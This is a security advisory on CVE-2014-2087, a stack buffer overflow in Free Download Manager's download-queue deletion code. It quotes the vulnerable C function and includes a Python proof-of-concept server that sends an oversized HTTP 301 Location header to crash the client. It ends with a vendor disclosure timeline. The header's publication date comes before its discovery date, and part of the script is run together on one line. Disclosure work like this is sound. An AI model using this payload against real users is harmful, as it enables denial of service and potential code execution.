Free Download Manager - Stack Buffer Overflow

Julien Ahrens 2014-03-17 dos windows 80
RCE Security Advisory
Product:        Free Download Manager
Vendor URL:
Type:           Stack-based Buffer Overflow [CWE-121]
Date found:     2014-02-20
Date published: 2014-02-13
CVSSv2 Score:   9,3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
CVE:            CVE-2014-2087
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
Free Download Manager v3.9.3 build 1360 (latest)
Free Download Manager v3.8 build 1173
Free Download Manager v3.0 build 852
and other older versions may be affected too.
A stack-based buffer overflow vulnerability has been identified in the
Free Download Manager.
The application parses download requests, which are added to the
download queue, but does not properly validate the length of the
complete download queue object when it’s removed from the queue by the
user. The following function from fdm.exe (source file:
Downloads_Deleted.cpp) is triggered on deletion:
void CDownloads_Deleted::UpdateDownload(int iItem)
This function reads the filename of the download object using
CDownloads_Tasks::GetFileName into szFile and adds the whole URL value
as a description (in brackets) via an insecure strcat() sequence to
szFile during the queue deletion process.

Since the application follows HTTP 301 redirects, an attacker who
controls the target HTTP server is able to send arbitrary long filename
values to exploit this flaw. If the complete name of the queued download
exceeds the size of szFile (10000 bytes), strcat() writes outside the
expected memory boundaries. 
This leads to a stack-based buffer overflow with an overwritten SEH
chain or return points, resulting in remote code execution. Successful
exploits can allow remote attackers to execute arbitrary code with the
privileges of the user running the application. Failed exploits will
result in a denial-of-service condition.
This vulnerability is also exploitable locally via "File->Import->Import
list of downloads"
// Downloads_Deleted.cpp
void CDownloads_Deleted::UpdateDownload(int iItem)
    vmsDownloadSmartPtr dld = (fsDownload*)GetItemData (iItem);
    CHAR szFile [10000];     
    CDownloads_Tasks::GetFileName (dld, szFile);
    lstrcat (szFile, " (");
    lstrcat (szFile, dld->pMgr->get_URL ());
    lstrcat (szFile, ")");
    SetItemText (iItem, 0, szFile);

from socket import *
from time import sleep
host = ""
port = 80
s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
print "\n[+] Listening on %d ..." % port
cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]
junk0 = "\x43" * 9000
payload = junk0
buffer = "HTTP/1.1 301 Moved Permanently\r\n"
buffer += "Date: Thu, 20 Feb 2014 11:31:08 GMT\r\n"
buffer += "Server: Apache/2.2.22 (Debian)\r\n"
buffer += "Location: "+ payload + "\r\n"
buffer += "Vary: Accept-Encoding\r\n"
buffer += "Content-Length: 8000\r\n"
buffer += "Keep-Alive: timeout=5, max=100\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: text/html; charset=iso-8859-1\r\n"
buffer += "\r\n"
buffer += "\n"
buffer += "\n"
buffer += "301 Moved Permanently\n"
buffer += "\n"
buffer += "

Moved Permanently

\n" buffer += "

The document has moved here.

\n" buffer += "\n" print cl.recv(1000) cl.send(buffer) print "[+] Sending buffer: OK\n" sleep(1) cl.close() s.close() 7. SOLUTION ----------- None 8. REPORT TIMELINE ------------------ 2014-02-20: Discovery of the vulnerability 2014-02-21: Vendor Notification #1 with preset disclosure date (2014-03-09) 2014-02-24: MITRE assigns CVE-2014-2087 2014-02-25: Vendor Notification #2 2014-02-26: Vendor Notification #3 2014-03-05: Vendor Response 2014-03-05: Vulnerability details sent to vendor 2014-03-09: RCE Security asks for a status update 2014-03-13: No response from vendor 2014-03-13: Full Disclosure according to disclosure policy 9. REFERENCES -------------